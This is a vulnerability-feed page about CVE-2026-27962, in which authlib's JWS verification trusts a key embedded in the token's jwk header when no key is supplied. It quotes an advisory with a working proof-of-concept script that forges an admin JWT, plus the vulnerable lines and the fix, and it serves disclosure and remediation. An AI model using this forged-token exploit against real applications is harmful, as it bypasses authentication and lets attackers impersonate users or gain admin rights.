Live › vulnerability › CVE-2026-27962
Go to dashboardAuthlib's JWS verification falls back to the public key embedded in a token's jwk header when the application supplies no key, which happens when a key resolver returns None for an unknown kid. An attacker can sign a token with their own key and have it verified as authentic, so forged claims such as an admin role are accepted.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-27 15:23 UTC, 0h before NVD. All times on this page are UTC.
Applications that verify JWS or JWT tokens with authlib and pass key=None or a key resolver that can return None, typically for JWKS lookups with unknown or rotated kid values. Applications that always supply a fixed, known verification key and never allow None are not exposed by this path.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| authlib | pypi | <= 1.6.8 | 1.6.9 |
| authlib | vendor | < 1.6.9 | 1.6.9 |
pip show authlib and compare the installed version with 1.6.8 or earlierdeserialize_compact, deserialize_json and deserialize calls and check whether the key argument can be None or a resolver that returns None1.6.9 or laterNoneEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.
This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.
Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273
elif key is None and "jwk" in header:
key = header["jwk"] # ← attacker-controlled key used for verification
When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or
jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the verification key.
RFC 7515 violations:
jwk header parameter is "NOT RECOMMENDED" because keys
embedded by the token submitter cannot be trusted as a verification anchor.jwk header when no application key is provided.Why this is a library issue, not just a developer mistake:
The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid) # returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)
When an attacker submits a token with an unknown kid, the callable legitimately returns None.
The library then silently falls through to key = header["jwk"], trusting the attacker's embedded
key. The developer never wrote key=None — the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.
Attack steps:
{"role": "admin"}).jwk header field.kid to cause the key resolver to return None.header["jwk"] for verification — signature passes.Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).
Requirements:
pip install authlib cryptography
Exploit script:
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims) # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin" # PASSES
Expected output:
{'sub': 'attacker', 'role': 'admin'}
Docker (self-contained reproduction):
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py
This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:
key=None is passed directly, orNone for unknown/rotated kid values (the common JWKS lookup pattern)An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised.
This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.
Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273:
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]
Recommended safe replacement — raise explicitly when no key is resolved:
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")
This page as .md · .json · in your agent: get_signal("CVE-2026-27962")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.